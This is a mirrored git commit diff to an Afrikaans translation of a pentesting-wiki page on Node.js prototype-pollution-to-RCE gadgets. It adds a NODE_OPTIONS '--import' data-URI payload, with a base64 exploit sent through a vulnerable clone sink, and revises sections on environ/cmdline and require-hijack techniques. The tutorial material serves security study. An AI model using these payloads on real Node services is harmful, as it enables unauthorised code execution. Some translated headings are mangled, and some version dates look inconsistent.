mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
8de212b181
commit
25d03654d0
@ -4,7 +4,7 @@
|
||||
|
||||
## Kwetsbare Kode
|
||||
|
||||
Stel jou 'n werklike JS voor wat 'n kode soos die volgende gebruik:
|
||||
Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution).
|
||||
|
||||
Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geproduseer** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
|
||||
Volgens hierdie [**skrywe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
}
|
||||
}
|
||||
```
|
||||
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs`** te **besmet** net deur die **attribuut `.env`** te **besmet**.
|
||||
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribut `.env` te besoedel.**
|
||||
|
||||
### **Besmetting van `__proto__`**
|
||||
### **Vergiftiging van `__proto__`**
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat weens hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets geroep word om 'n **nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **besmet enigiets**.\
|
||||
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n var genaamd `avar` met waarde `valuevar` geskep word.
|
||||
> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net iets moet **besoedel**.\
|
||||
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word.
|
||||
>
|
||||
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besmet** en (slegs in sommige metodes) sal daardie var die **eerste een** wees (wat die aanval toelaat).
|
||||
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besoedel** en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat).
|
||||
>
|
||||
> Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
|
||||
```javascript
|
||||
@ -122,7 +122,7 @@ var proc = fork("a_file.js")
|
||||
```
|
||||
## PP2RCE via env vars + cmdline
|
||||
|
||||
'n Soortgelyke payload as die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
|
||||
'n Vergelykbare payload met die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
|
||||
|
||||
- In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**.
|
||||
- Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**.
|
||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
||||
var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||
|
||||
> [!NOTE]
|
||||
> Sedert **Node.js 19** kan die CLI-vlag `--import` deur `NODE_OPTIONS` oorgedra word op dieselfde manier as wat `--require` kan. In teenstelling met `--require`, verstaan `--import` **data-URIs** sodat die aanvaller glad nie **skryfreëls toegang tot die lêerstelsel** nodig het nie. Dit maak die gadget baie meer betroubaar in geslote of slegs lees omgewings.
|
||||
>
|
||||
> Hierdie tegniek is eerste keer publiek gedokumenteer deur PortSwigger navorsing in Mei 2023 en is sedertdien in verskeie CTF-uitdagings herproduseer.
|
||||
|
||||
Die aanval is konseptueel identies aan die `--require /proc/self/*` truuks hierbo, maar in plaas daarvan om na 'n lêer te verwys, inkorporeer ons die payload direk in 'n base64-gecodeerde `data:` URL:
|
||||
```javascript
|
||||
const { fork } = require("child_process")
|
||||
|
||||
// Manual pollution
|
||||
b = {}
|
||||
|
||||
// Javascript that is executed once Node parses the import URL
|
||||
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||
|
||||
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||
// any key that will force spawn (fork) – same as earlier examples
|
||||
fork("./a_file.js");
|
||||
```
|
||||
Misbruik van die kwesbare merge/clone sink wat bo aan die bladsy getoon word:
|
||||
```javascript
|
||||
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||
clone(USERINPUT);
|
||||
|
||||
// Gadget trigger
|
||||
fork("./a_file.js");
|
||||
// → creates /tmp/pp2rce_import
|
||||
```
|
||||
### Hoekom `--import` help
|
||||
1. **Geen skyf interaksie** – die payload beweeg heeltemal binne die proses opdraglyn en omgewing.
|
||||
2. **Werk met ESM-slegs omgewings** – `--import` is die kanonieke manier om JavaScript in moderne Node weergawe te prelaai wat standaard op ECMAScript Modules is.
|
||||
3. **Omseil sommige `--require` toelaat-lists** – 'n paar verhardingsbiblioteke filter net `--require`, wat `--import` onaangeraak laat.
|
||||
|
||||
> [!WARNING]
|
||||
> `--import` ondersteuning in `NODE_OPTIONS` is steeds teenwoordig in die nuutste **Node 22.2.0** (Junie 2025). Die Node-kernspan bespreek die beperking van data-URI's in die toekoms, maar geen versagting is beskikbaar ten tyde van skryf nie.
|
||||
|
||||
---
|
||||
|
||||
## DNS Interaksie
|
||||
|
||||
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS-interaksie:
|
||||
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS interaksie:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
@ -171,9 +212,9 @@ Of, om WAF's te vermy om vir die domein te vra:
|
||||
}
|
||||
}
|
||||
```
|
||||
## PP2RCE kwesbaarheid child_process funksies
|
||||
## PP2RCE kwesbaarheid kind_proses funksies
|
||||
|
||||
In hierdie afdeling gaan ons **elke funksie van `child_process`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
|
||||
In hierdie afdeling gaan ons **elke funksie van `kind_proses`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
|
||||
|
||||
<details>
|
||||
|
||||
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
|
||||
|
||||
// Windows - not working
|
||||
```
|
||||
Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\
|
||||
Vir **`execFile`** om te werk, moet dit **node** uitvoer vir die NODE_OPTIONS om te werk.\
|
||||
As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel.
|
||||
|
||||
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **wysig**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
|
||||
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
|
||||
|
||||
</details>
|
||||
|
||||
@ -468,7 +509,7 @@ In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksion
|
||||
### Beheer oor 'n vereiste lêer pad
|
||||
|
||||
In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\
|
||||
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer dit ingevoer word, is:
|
||||
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer ingevoer, is:
|
||||
|
||||
- /path/to/npm/scripts/changelog.js
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
@ -502,18 +543,18 @@ done
|
||||
> [!WARNING]
|
||||
> Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie.
|
||||
|
||||
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket wat jy besoedel het vereis**.
|
||||
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket vereis wat jy besoedel het**.
|
||||
|
||||
Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:
|
||||
|
||||
- Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
|
||||
- As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
|
||||
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te afdwing
|
||||
- **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke)
|
||||
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, af te dwing
|
||||
- **Besoedel die omgewing/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie genoem word (sien die aanvanklike tegnieke)
|
||||
|
||||
#### Absolute vereiste
|
||||
|
||||
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
|
||||
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie 'n hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="exploit"}}
|
||||
@ -598,7 +639,7 @@ fork("/path/to/anything")
|
||||
#### Relatiewe vereiste - 2
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="ontgin"}}
|
||||
{{#tab name="exploit"}}
|
||||
```javascript
|
||||
// Create a file called malicious.js in /tmp
|
||||
// Contents of malicious.js in the other tab
|
||||
@ -661,16 +702,20 @@ require("./usage.js")
|
||||
## VM Gadgets
|
||||
|
||||
In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
|
||||
E however, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
|
||||
Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
|
||||
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
Let asseblief daarop dat prototype besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
|
||||
Let asseblief daarop dat prototipe besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
|
||||
|
||||
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Wat **voorkom dat 'n prototype besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
|
||||
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **uitbuitings** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
|
||||
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Dit **verhoed dat 'n prototipe besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
|
||||
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **eksploite** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
|
||||
|
||||
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototype besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
|
||||
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototipe besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
|
||||
|
||||
> [!INFO]
|
||||
> **Node 20 (April 2023) & Node 22 (April 2025)** het verdere versterking gebring: verskeie `child_process` helpers kopieer nou gebruiker-gelewerde `options` met **`CopyOptions()`** in plaas van om dit deur verwysing te gebruik. Dit blokkeer besoedeling van geneste objek soos `stdio`, maar **beskerm nie teen die `NODE_OPTIONS` / `--import` truuks** wat hierbo beskryf is nie – daardie vlae word steeds aanvaar via omgewing veranderlikes.
|
||||
> 'n Volledige regstelling sou moet beperk watter CLI vlae van die ouer proses gepropageer kan word, wat in Node Issue #50559 gevolg word.
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
@ -682,6 +727,8 @@ In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb4
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user